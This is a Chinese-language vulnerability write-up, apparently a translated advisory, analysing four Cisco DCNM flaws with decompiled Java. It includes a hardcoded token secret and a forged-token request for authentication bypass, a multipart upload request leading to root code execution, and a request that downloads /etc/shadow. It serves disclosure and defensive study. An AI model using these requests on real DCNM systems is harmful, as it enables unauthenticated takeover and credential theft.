思科DCNM多个漏洞细节分析
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
摘要
Cisco Data Center Network Manager(DCNM)是由Cisco提供的虚拟设备、Windows和Red Hat Linux的安装包。为了在全球范围内管理思科设备,DCNM部署在全球分布的数据中心。
DCNM 11.1(1)及以下受4个漏洞影响:绕过身份验证、任意文件上传(导致远程代码执行)、任意文件下载和通过日志下载敏感信息。
下表列出了每个漏洞的受影响版本:
身份验证绕过存在于10.4(2)版本,允许攻击者利用文件上传进行远程代码执行。
在11.0(1)版本中引入了身份验证,漏洞利用需要一个有效的非特权帐户。但是,在11.1(1)版中,Cisco删除了文件上传和文件下载servlet的身份验证,允许攻击者在没有任何身份验证的情况下利用漏洞!11.2(1)中修复了所有漏洞,敏感信息下载漏洞除外,其状态未知。
为了实现任意文件上传漏洞并进行远程代码执行,攻击者可以在Tomcat webapps文件夹中写入一个war文件。Apache Tomcat服务器运行为root,因此Java shell将以root身份运行。
供应商简介
“Cisco®Data Center Network Manager(DCNM)是针对所有NX-OS网络部署的综合管理解决方案,涵盖由Cisco数据中心中的LAN结构、SAN结构和IP结构(IPFM)网络。DCNM 11提供跨Cisco Nexus®和Cisco多层分布式交换(MDS)解决方案包括管理、控制、自动化、监控、可视化和故障排除。
DCNM 11支持Cisco Nexus交换机的多机多机基础设施管理。DCNM还支持使用Cisco MDS 9000系列和Cisco Nexus交换机存储功能进行存储管理。
DCNM 11为结构引导、SAN分区、设备别名管理、漏洞分析、SAN主机路径冗余和端口监控配置提供了接口。”
技术细节
漏洞1:身份认证绕过
Vulnerability: Authentication Bypass
CVE-2019-1619
Attack Vector: Remote
Constraints: None
Affected products / versions:
Cisco Data Center Network Manager 10.4(2) 及以下
DCNM在url/fm/pmreport中的“reportservlet”。滥用此servlet导致未经身份验证的攻击者可以在Web界面上获取有效的管理会话。
下面的代码片段显示了servlet的功能:
com.cisco.dcbu.web.client.performance.ReportServlet public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)request.getSession().getAttribute("credentials"); if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) { request.setAttribute("popUpSessionTO", "true"); } this.doInteractiveChart(request, response); }
请求交给verifyToken函数进行下一步处理:
private boolean verifyToken(HttpServletRequest httpServletRequest) { String token = httpServletRequest.getParameter("token"); if(token == null) { return false; } else { try { FMServerRif serverRif = SQLLoader.getServerManager(); IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString())); token = URLDecoder.decode(token, "UTF-8"); token = token.replace(' ', '+'); FMUserBase fmUserBase = isc.verifySSoToken(token); if(fmUserBase == null) { return false; } else { Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } } }
fmUserBase fmUserBase=isc.verifyssotoken(令牌);
HTTP请求参数“token”被传递给iscrif.verifyssotoken,如果该函数返回有效的用户,则请求经过身份验证,凭证存储在会话中。
让我们继续了解iscrif.verifyssotoken中如何进行处理
public FMUserBase verifySSoToken(String ssoToken) { return SecurityManager.verifySSoToken(ssoToken); } public static FMUserBase verifySSoToken(String ssoToken) { String userName = null; FMUserBase fmUserBase = null; FMUser fmUser = null; try { userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } if(fmUserBase == null) { fmUserBase = DCNMUserImpl.getFMUserBase(userName); } if(fmUserBase == null) { fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken)); } } } catch (Exception var5) { _Logger.info("verifySSoToken: ", var5); } return fmUserBase; }
从上面的代码中可以看到,用户名是从这里获得令牌
userName = getSSoTokenUserName(ssoToken);
继续进行代码分析:
public static String getSSoTokenUserName(String ssoToken) { return getSSoTokenDetails(ssoToken)[3]; } private static String[] getSSoTokenDetails(String ssoToken) { String[] ret = new String[4]; String separator = getTokenSeparator(); StringTokenizer st = new StringTokenizer(ssoToken, separator); if(st.hasMoreTokens()) { ret[0] = st.nextToken(); ret[1] = st.nextToken(); ret[2] = st.nextToken(); for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) { ; } } return ret; }
令牌是一个字符串,由分隔符分隔,包含四个部分,其中第四部分是用户名。
现在回到上面列出的securityManager.verifyssotoken,我们看到在调用getssotokenusername之后,调用confirmssotoken:
public static FMUserBase verifySSoToken(String ssoToken) { (...) userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } (...) } public static boolean confirmSSOToken(String ssoToken) { String userName = null; int sessionId = false; long sysTime = 0L; String digest = null; int count = false; boolean ret = false; try { String[] detail = getSSoTokenDetails(ssoToken); userName = detail[3]; int sessionId = Integer.parseInt(detail[0]); sysTime = (new Long(detail[1])).longValue(); if(System.currentTimeMillis() - sysTime > 600000L) { return ret; } digest = detail[2]; if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) { ret = true; userNameTLC.set(userName); } } catch (Exception var9) { _Logger.info("confirmSSoToken: ", var9); } return ret; }
现在我们可以进一步理解令牌组成。它由以下部分组成:
sessionid+separator+systime+separator+digest+separator+username
什么是digest(指纹信息)?让我们看看getMessageDigest函数:
private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception { String input = userName + sessionid + sysTime + SECRETKEY; MessageDigest md = MessageDigest.getInstance(algorithm); md.update(input.getBytes()); return new String(Base64.encodeBase64((byte[])md.digest())); }
该指纹信息是MD5值,由以下几个部分组成,中间有’.’符号分隔
userName + sessionid + sysTime + SECRETKEY
SECRETKEY是一串硬编码字符串:”POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF”;
总的来说,只要reportservlet接收到以下格式的令牌,它就会对任何请求进行身份验证:
sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username
sessionid可以由用户输入构造,系统时间可以通过获取HTTP头部服务器日期转换为毫秒获得,我们知道secretkey和用户名,所以现在我们可以作为任何用户进行身份验证。以下是一个示例:
GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin
由于缺少servlet执行所需的参数,此请求将返回500个错误,但是它也将成功地向服务器验证我们的身份,并返回一个jsessionid cookie,并为管理用户提供有效会话。
请注意,用户必须是有效的。“admin”用户是一个很好的选择,因为它默认存在于所有系统中,也是系统中特权用户。
该漏洞利用不适用于11.0(1),但并不是因为漏洞被修复了,因为更新版本中存在完全相同的代码。
在11.0(1)中,reportservlet.verifytoken函数崩溃,出现异常:
private boolean verifyToken(HttpServletRequest httpServletRequest) { (...) Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } (...) }
返回的异常为“com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException:javax.crypto.badpaddingException:given final block not properly padded”。
这将导致执行进入上面所示的catch块,函数将返回false,因此服务器返回的JSessionID cookie中不会存储凭证。
这应该是一个编码错误,思科更新了他们的密码加密方法,但未能更新他们自己的代码。除非不使用此reportservlet代码,否则这是一个偶然修复安全漏洞。
在11.0(1)版上,已经从war xml映射文件中删除了reportservlet,因此请求该URL现在返回一个HTTP404错误。
漏洞2:任意文件上传导致远程代码执行
Vulnerability: Arbitrary File Upload (leading to remote code execution)
CVE-2019-1620
Attack Vector: Remote
Constraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1), where it can be exploited by an unauthenticated user
Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下
漏洞存在于DCNM在/fm/file upload中的文件上载servlet(fileuploadservlet)。经过身份验证的用户可以利用此servlet将文件上载到任意目录,最终实现远程代码执行。
此servlet的代码如下所示:
com.cisco.dcbu.web.client.reports.FileUploadServlet public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); } public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } this.handleUpload(request, response); }
上面显示的代码很简单,请求被传递到handleupload:
private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(CONTENT_TYPE); PrintWriter out = null; ArrayList allowedFormats = new ArrayList(); allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); File disk = null; FileItem item = null; DiskFileItemFactory factory = new DiskFileItemFactory(); String statusMessage = ""; String fname = ""; String uploadDir = ""; ListIterator iterator = null; List items = null; ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); TransformerHandler hd = null; try { out = response.getWriter(); StreamResult streamResult = new StreamResult(out); SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance(); items = upload.parseRequest(request); iterator = items.listIterator(); hd = tf.newTransformerHandler(); Transformer serializer = hd.getTransformer(); serializer.setOutputProperty("encoding", "UTF-8"); serializer.setOutputProperty("doctype-system", "response.dtd"); serializer.setOutputProperty("indent", "yes"); serializer.setOutputProperty("method", "xml"); hd.setResult(streamResult); hd.startDocument(); AttributesImpl atts = new AttributesImpl(); hd.startElement("", "", "response", atts); while (iterator.hasNext()) { atts.clear(); item = (FileItem)iterator.next(); if (item.isFormField()) { if (item.getFieldName().equalsIgnoreCase("fname")) { fname = item.getString(); } if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) { uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf"; } atts.addAttribute("", "", "id", "CDATA", item.getFieldName()); hd.startElement("", "", "field", atts); hd.characters(item.getString().toCharArray(), 0, item.getString().length()); hd.endElement("", "", "field"); atts.clear(); continue; } ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream()); Iterator imageReaders = ImageIO.getImageReaders(imageInputStream); ImageReader imageReader = null; if (imageReaders.hasNext()) { imageReader = imageReaders.next(); } try { String imageFormat = imageReader.getFormatName(); String newFileName = fname + "." + imageFormat; if (allowedFormats.contains(imageFormat.toLowerCase())) { FileFilter fileFilter = new FileFilter(); fileFilter.setImageTypes(allowedFormats); File[] fileList = new File(uploadDir).listFiles(fileFilter); for (int i = 0; i < fileList.length; ++i) { new File(fileList[i].getAbsolutePath()).delete(); } disk = new File(uploadDir + File.separator + fname); item.write(disk); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); } imageReader.dispose(); imageInputStream.close(); atts.addAttribute("", "", "id", "CDATA", newFileName); } catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); } hd.startElement("", "", "file", atts); hd.characters(statusMessage.toCharArray(), 0, statusMessage.length()); hd.endElement("", "", "file"); } hd.endElement("", "", "response"); hd.endDocument(); out.close(); } catch (Exception e) { out.println(e.getMessage()); } }
handleupload更复杂,函数采用一个带有参数“uploaddir”、参数“fname”的HTTP表单,然后取最后一个表单对象并将其写入“uploaddir/fname”。
函数中有一个验证:该文件必须是有效的映像,并且具有下列扩展名之一:
allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert");
但是,如果仔细观察,可以上传任意内容。这是因为在到达第二个(内部)Try-Catch块之前不会发生任何错误。
try { String imageFormat = imageReader.getFormatName(); ...
如果我们发送的二进制内容不是文件,则会导致ImageReader引发异常,并发送到catch:
catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); ...
这意味着文件内容、upload dir及其名称将被发送到processuploadedfile。
private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { try { int offset; int contentLength = (int)item.getSize(); InputStream raw = item.getInputStream(); BufferedInputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) { } in.close(); if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname); out.write(data); out.flush(); out.close(); } catch (Exception ex) { throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage()); } }
这个函数完全忽略了内容,并简单地将文件内容写入到我们指定的文件名和文件夹中。
总之,如果我们发送任何不是文件的二进制内容,我们可以以root权限将其写入任何目录中的任何文件。
发送如下请求:
POST /fm/fileUpload HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Content-Length: 429 Content-Type: multipart/form-data; boundary=---------------------------9313517619947 -----------------------------9313517619947 Content-Disposition: form-data; name="fname" owned -----------------------------9313517619947 Content-Disposition: form-data; name="uploadDir" /tmp/ -----------------------------9313517619947 Content-Disposition: form-data; name="filePath"; filename="whatever" Content-Type: application/octet-stream -----------------------------9313517619947-- The server will respond with: HTTP/1.1 200 OK X-FRAME-OPTIONS: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Date: Mon, 03 Sep 2018 00:57:11 GMT Connection: close Server: server owned /tmp/ File successfully written to server at 09.02.18 05:57:11 PM
我们的文件已写入服务器:
[[email protected]_vm ~]# ls -l /tmp/ (...) -rw-r--r-- 1 root root 16 Sep 2 17:57 owned (...)
最后,如果我们将一个war文件写入jboss部署目录,服务器将把war文件部署为根目录,允许攻击者实现远程代码执行。
利用此漏洞的metasploit模块已随本公告发布。
漏洞3:任意文件下载
Vulnerability: Arbitrary File Download
CVE-2019-1621
Attack Vector: Remote
Constraints: 非特权用户在未经身份认证的用户可在web界面进行任意文件下载
Affected products / versions:Cisco Data Center Network Manager 11.1(1) 及以下
漏洞存在于DCNM /fm/downloadservlet。经过身份验证的用户可以用此servlet以root权限下载任意文件。
下面的代码显示servlet请求处理代码:
public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } String showFile = (String)request.getAttribute("showFile"); if (showFile == null) { showFile = request.getParameter("showFile"); } File f = new File(showFile); if (showFile.endsWith(".cert")) { response.setContentType("application/octet-stream"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;"); } else if (showFile.endsWith(".msi")) { response.setContentType("application/x-msi"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } else if (showFile.endsWith(".xls")) { response.setContentType("application/vnd.ms-excel"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } ServletOutputStream os = response.getOutputStream(); FileInputStream is = new FileInputStream(f); byte[] buffer = new byte[4096]; int read = 0; try { while ((read = is.read(buffer)) > 0) { os.write(buffer, 0, read); } os.flush(); } catch (Exception e) { LogService.log(LogService._WARNING, e.getMessage()); } finally { is.close(); } } }
它接受一个“showfile”请求参数,读取该文件并返回给用户。下面是servlet的一个示例:
Request: GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Response: HTTP/1.1 200 OK root:$1$(REDACTED).:17763:0:99999:7::: bin:*:15980:0:99999:7::: daemon:*:15980:0:99999:7::: adm:*:15980:0:99999:7::: lp:*:15980:0:99999:7::: (...)
要下载的文件是/usr/local/cisco/dcm/fm/conf/server.properties,它包含数据库凭据和sftp根密码,这两个文件都用源代码中硬编码的密钥加密。
漏洞4:敏感信息泄露(日志文件下载)
Vulnerability: Information Disclosure (log files download)
CVE-2019-1622
Attack Vector: Remote
Constraints: None
Affected products / versions:
Cisco Data Center Network Manager 11.1(1) and below
漏洞存在与DCNM /fm/log/fmlogs.zip logzipperservlet。未经身份验证的攻击者可以访问此servlet,它将以zip格式返回/usr/local/cisco/dcm/fm/logs/*中的所有日志文件,这些文件提供有关本地目录、软件版本、身份验证错误、详细的堆栈跟踪等信息。
实现示例: GET /fm/log/fmlogs.zip
修补情况
漏洞1升级到DCNM 11.0(1)及以上;漏洞2、3升级到DCNM 11.2(1)及以上;漏洞4还未修补。
参考
[1] https://www.accenture.com/us-en/service-idefense-security-intelligence
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
[4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex
*参考来源: agileinfosec ,Kriston编译整理,转载请注明来自 FreeBuf.COM